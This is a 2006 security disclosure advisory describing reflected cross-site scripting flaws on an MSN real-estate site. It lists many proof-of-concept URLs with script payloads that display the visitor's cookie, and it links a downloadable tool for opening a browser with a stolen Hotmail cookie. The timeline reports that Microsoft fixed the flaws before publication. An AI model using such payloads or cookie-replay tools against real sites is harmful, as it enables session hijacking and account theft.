Title: Hotmail/MSN Multiple cross site scripting ( XSS )
Author: Securma Massine
MorX Security Research Team
http://www.morx.org
Original Advisory/Xploit : http://www.morx.org/msnxss.txt
Vulnerability : Multiple cross site scripting ( XSS )
Severity: Medium/High
Description : msn.com is suffers from multiple xss which could allow an attacker to hijack web sessions .This vulnerability can be used to gather the victim's cookies,steal his session,..
Proof of Concept/Example of the issue: a great number of XSS (hundred )in http://realtor.realestate.msn.com
they is only some examples :
http://realtor.realestate.msn.com/Defau … t>alert(document.cookie);</script>
http://realtor.realestate.msn.com/webse … t>alert(document.cookie);</script>
http://realtor.realestate.msn.com/SiteM … t>alert(document.cookie);</script>
http://realtor.realestate.msn.com/Realt … pID=r.com2
http://realtor.realestate.msn.com/FindR … t>alert(document.cookie);</script>
http://realtor.realestate.msn.com/Basic … t>alert(document.cookie);</script>
http://realtor.realestate.msn.com/FindH … t>alert(document.cookie);</script>
http://realtor.realestate.msn.com/websearch/searchresults.asp?searchterms=Bad Credit&amp;lnksrc=OVER_SRCH_RDC1"><script>alert(document.cookie);</script>
http://realtor.realestate.msn.com/Gatew … t>alert(document.cookie);</script>
http://realtor.realestate.msn.com/Msgs/ … t>alert(document.cookie);</script>
http://realtor.realestate.msn.com/FindR … t>alert(document.cookie);</script>
http://realtor.realestate.msn.com/calif … t>alert(document.cookie);</script>
http://realtor.realestate.msn.com/Msgs/ … t>alert(document.cookie);</script>
http://realtor.realestate.msn.com/FindH … t>alert(document.cookie);</script>
http://realtor.realestate.msn.com/FindH … t>alert(document.cookie);</script>&poe=realtor
and many many other.....
Screen captures: http://www.morx.org/msnx.jpg
workaround: The Hotmail exploit can easily be executed via , e-mails , links ,messenger , attachement.
you can use this tool to open the browser with fake hotmail's cookie(IE):
http://www.morx.org/hotcookie.exe
Disclosure timeline:
07/30/2006 Issue disclosed to Microsoft
07/30/2006 Response received from secure@microsoft.com
09/05/2006 fix some xss
09/07/2006 sending to microsoft new list of msn xss
12/09/2006 announce the fix of all the xss in 24h
13/09/2006 fixed
14/09/2006 public advisory
Greets: Attitude and all morx team
Disclaimer:
The author do not have any responsibility for any malicious use of this advisory or proof of concept code. The code and the information provided here are for educational purposes only.
comments or additional questions feel free to email me at securma_at_morx_org.